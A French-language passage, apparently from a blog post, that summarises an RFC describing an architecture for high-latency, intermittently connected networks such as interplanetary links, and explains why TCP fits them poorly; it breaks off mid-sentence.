Tous les RFC ne spécifient pas une norme pour l'Internet existant. Certains sont plus futuristes et, par exemple, voici la description d'une architecture de réseau qui pourrait convenir, entre autres, aux communications interplanétaires.

Si ce thème spectaculaire garantit évidemment un gros intérêt médiatique pour ces travaux, si la NASA a activement participé à ceux-ci, il faut noter que le titre de notre RFC est plus général : « Une architecture pour les réseaux à forte latence ». En effet, plusieurs types de réseaux, pas seulement ceux utilisés par les sondes interplanétaires ont des caractéristiques similaires :

  • Très forte latence, parfois de plusieurs heures pour les communications avec les planètes lointaines ; c'est la principale caractéristique de ces réseaux,
  • Nœuds du réseau souvent injoignables (cas des satellites en orbite basse, qui ne sont visibles que pendant une partie de leur orbite),
  • Variété des protocoles sous-jacents.

Par exemple, un réseau de machines au sol éloignées les unes des autres, connectées par radio est souvent dans une situation similaire : les liaisons y sont intermittentes.

Les protocoles utilisés sur Internet comme TCP ne sont pas adaptés à de tels réseaux. Par exemple, TCP nécessite trois voyages pour simplement ouvrir une connexion, avant même que l'échange de données commence. Sur un réseau à forte latence, TCP serait inutilisable, l'essentiel du temps écoulé serait passé à attendre les données. D'autre part, TCP, comme les autres protocoles de l'Internet, est bâti autour de l'idée que la liaison est la règle